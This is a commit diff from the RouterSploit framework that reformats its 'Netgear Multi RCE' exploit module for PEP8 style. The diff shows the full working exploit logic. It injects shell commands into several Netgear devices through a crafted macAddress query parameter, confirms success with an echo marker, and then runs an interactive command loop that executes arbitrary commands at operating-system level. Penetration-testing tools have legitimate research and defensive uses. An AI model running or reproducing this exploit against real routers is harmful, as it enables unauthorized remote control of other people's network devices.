Commit 9448e362 by fwkz

Fixing PEP8 violations.

parent eda0455f
import requests
import re
from routersploit import (
exploits,
print_status,
print_success,
print_info,
print_error,
sanitize_url,
)
......@@ -17,7 +17,8 @@ class Exploit(exploits.Exploit):
"""
__info__ = {
'name': 'Netgear Multi RCE',
'description': 'Module exploits remote command execution in multiple Netgear devices. If the target is vulnerable, command loop is invoked that allows executing commands on operating system level.',
'description': 'Module exploits remote command execution in multiple Netgear devices. If the target is '
'vulnerable, command loop is invoked that allows executing commands on operating system level.',
'authors': [
'Andrei Costin <andrei[at]firmware.re>', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
......@@ -50,7 +51,7 @@ class Exploit(exploits.Exploit):
valid_resource = None
def run(self):
if self.check() == True:
if self.check():
print_success("Target is vulnerable")
print_status("Invoking command loop...")
print_status("It is blind command injection - response is not available")
......@@ -61,13 +62,14 @@ class Exploit(exploits.Exploit):
def command_loop(self):
while 1:
cmd = raw_input("cmd > ")
print self.execute(cmd)
print_info(self.execute(cmd))
def execute(self, cmd):
url = sanitize_url("{}:{}/{}?writeData=true&reginfo=0&macAddress= 001122334455 -c 0 ;{}; echo #".format(self.target, self.port, self.valid_resource, cmd))
url = sanitize_url("{}:{}/{}?writeData=true&reginfo=0&macAddress= "
"001122334455 -c 0 ;{}; echo #".format(self.target, self.port, self.valid_resource, cmd))
try:
r = requests.get(url)
requests.get(url)
except requests.exceptions.MissingSchema:
return "Invalid URL format: %s" % url
except requests.exceptions.ConnectionError:
......@@ -76,21 +78,20 @@ class Exploit(exploits.Exploit):
return ""
def check(self):
# meaby random mark should be implemented
# maybe random mark should be implemented
cmd = "echo 9fdbd928b52c1ef61615a6fd2e8b49af"
for resource in self.resources:
url = sanitize_url("{}:{}/{}?writeData=true&reginfo=0&macAddress= 001122334455 -c 0 ;{}; echo #".format(self.target, self.port, resource, cmd))
url = sanitize_url("{}:{}/{}?writeData=true&reginfo=0&macAddress= "
"001122334455 -c 0 ;{}; echo #".format(self.target, self.port, resource, cmd))
try:
r = requests.get(url)
response = requests.get(url)
except:
return None # could not be verified
return None # could not be verified
if r.status_code == 200:
res = r.text
if "Update Success!" in res and "9fdbd928b52c1ef61615a6fd2e8b49af" in res:
if response.status_code == 200:
response_body = response.text
if "Update Success!" in response_body and "9fdbd928b52c1ef61615a6fd2e8b49af" in response_body:
self.valid_resource = resource
return True
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment